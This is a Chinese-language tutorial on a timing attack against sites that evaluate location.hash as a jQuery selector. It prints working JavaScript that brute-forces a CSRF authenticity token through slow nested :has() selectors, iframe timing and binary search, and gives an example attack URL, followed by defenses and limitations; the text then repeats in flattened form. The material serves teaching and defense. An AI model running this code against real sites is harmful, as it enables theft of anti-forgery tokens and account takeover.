使用CSS选择器和Javascript进行时序攻击
字数 827 2025-08-27 12:33:37

CSS选择器和JavaScript时序攻击教学文档

1. 攻击原理概述

时序攻击(Timing Attack)是一种通过测量代码执行时间来推断敏感信息的攻击方式。本文介绍了一种利用CSS选择器和JavaScript实现的时序攻击方法,可以从HTML中提取几乎任何秘密字符串。

2. 核心概念

2.1 CSS选择器的短路特性

浏览器从右到左评估CSS选择器,当右侧部分不匹配时,会立即停止评估(短路行为)。这种特性可以被用来构造时间差异:

  • 当选择器匹配时,浏览器会完整评估整个选择器,耗时较长
  • 当选择器不匹配时,浏览器会快速返回,耗时较短

2.2 :has伪类选择器

jQuery实现了:has()伪类选择器,可以匹配包含特定子元素的元素。通过嵌套多层:has()可以构造出耗时的选择器。

示例:

$(":has(:has(:has())) :has(:has(:has())) :has(:has(:has())) main[id='site-main']")

2.3 执行时间测量

由于浏览器是单线程的,受害者站点上长时间运行的JavaScript会阻塞攻击者站点的执行,这为测量时间差提供了可能。

3. 攻击实施步骤

3.1 基本时间测量函数

const WAIT_TIME = 6;
const VICTIM_URL = "https://labs.sheddow.xyz/fsf.html";

const wait = ms => new Promise(resolve => setTimeout(resolve, ms));

function get_execution_time(selector) {
    var t0 = window.performance.now();
    var p = wait(WAIT_TIME).then(_ => Promise.resolve(measure_time(t0)))
    window.frames[0].location = VICTIM_URL + "#x," + encodeURIComponent(selector) + Math.random();
    return p;
}

function measure_time(t0) {
    var t = window.performance.now() - t0;
    return t;
}

3.2 构造耗时选择器

const SLOW_SELECTOR = "*:has(*:has(*) *:has(*) *:has(*) *:has(*))";
const SELECTOR_TEMPLATE = "input[name=authenticity_token][value^='{}']";

function make_selector(prefix, characters) {
    return characters
        .split("")
        .map(c => SLOW_SELECTOR + " " + SELECTOR_TEMPLATE.replace("{}", prefix + c))
        .join(",");
}

3.3 二分搜索实现

async function binary_search(prefix, characters) {
    console.log("Testing '" + characters + "'");
    if (characters.length == 1) {
        return characters[0];
    }
    
    var mid = Math.floor(characters.length/2);
    var s1 = make_selector(prefix, characters.slice(0, mid));
    var s2 = make_selector(prefix, characters.slice(mid, characters.length));
    
    var t1 = await get_execution_time(s1);
    var t2 = await get_execution_time(s2);
    
    if (t1 < t2) {
        return binary_search(prefix, characters.slice(mid, characters.length));
    } else {
        return binary_search(prefix, characters.slice(0, mid));
    }
}

3.4 完整暴力破解流程

const BASE64_CHARS = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/";
const TOKEN_LENGTH = 43;

async function bruteforce_token() {
    var misses = 0;
    var token = "";
    
    while (token.length < TOKEN_LENGTH) {
        var c = await binary_search(token, BASE64_CHARS);
        if (c === null) {
            misses++;
            if (misses == 3) {
                token = token.slice(0, -1); // 回溯
            }
        } else {
            token += c;
            misses = 0;
        }
    }
    return token;
}

4. 防御措施

4.1 站点隔离(Site Isolation)

Chrome的站点隔离功能可以防止此攻击,因为它会将不同站点隔离到不同进程中。

4.2 X-Frame-Options

设置X-Frame-Options头可以阻止页面被嵌入iframe,增加攻击难度:

X-Frame-Options: DENY

4.3 其他防御方法

  • 避免直接执行location.hash中的内容
  • 对敏感输入字段使用一次性令牌
  • 实现CSRF保护机制

5. 攻击限制

  • 需要现代浏览器支持async/await
  • 受浏览器单线程特性限制
  • 站点隔离会阻止攻击
  • 需要受害者站点存在特定的jQuery代码模式

6. 实际应用示例

假设目标站点有以下代码:

$(window).on('hashchange', function() {
    var hash = window.location.hash.slice(1);
    $(hash);
});

攻击者可以构造如下URL进行攻击:

https://victim.com/#:has(:has(:has())) input[name=secret][value^='a']

通过测量页面响应时间,可以推断出secret字段的值。

CSS选择器和JavaScript时序攻击教学文档 1. 攻击原理概述 时序攻击(Timing Attack)是一种通过测量代码执行时间来推断敏感信息的攻击方式。本文介绍了一种利用CSS选择器和JavaScript实现的时序攻击方法,可以从HTML中提取几乎任何秘密字符串。 2. 核心概念 2.1 CSS选择器的短路特性 浏览器从右到左评估CSS选择器,当右侧部分不匹配时,会立即停止评估(短路行为)。这种特性可以被用来构造时间差异: 当选择器匹配时,浏览器会完整评估整个选择器,耗时较长 当选择器不匹配时,浏览器会快速返回,耗时较短 2.2 :has伪类选择器 jQuery实现了 :has() 伪类选择器,可以匹配包含特定子元素的元素。通过嵌套多层 :has() 可以构造出耗时的选择器。 示例: 2.3 执行时间测量 由于浏览器是单线程的,受害者站点上长时间运行的JavaScript会阻塞攻击者站点的执行,这为测量时间差提供了可能。 3. 攻击实施步骤 3.1 基本时间测量函数 3.2 构造耗时选择器 3.3 二分搜索实现 3.4 完整暴力破解流程 4. 防御措施 4.1 站点隔离(Site Isolation) Chrome的站点隔离功能可以防止此攻击,因为它会将不同站点隔离到不同进程中。 4.2 X-Frame-Options 设置 X-Frame-Options 头可以阻止页面被嵌入iframe,增加攻击难度: 4.3 其他防御方法 避免直接执行 location.hash 中的内容 对敏感输入字段使用一次性令牌 实现CSRF保护机制 5. 攻击限制 需要现代浏览器支持 async/await 受浏览器单线程特性限制 站点隔离会阻止攻击 需要受害者站点存在特定的jQuery代码模式 6. 实际应用示例 假设目标站点有以下代码: 攻击者可以构造如下URL进行攻击: 通过测量页面响应时间,可以推断出 secret 字段的值。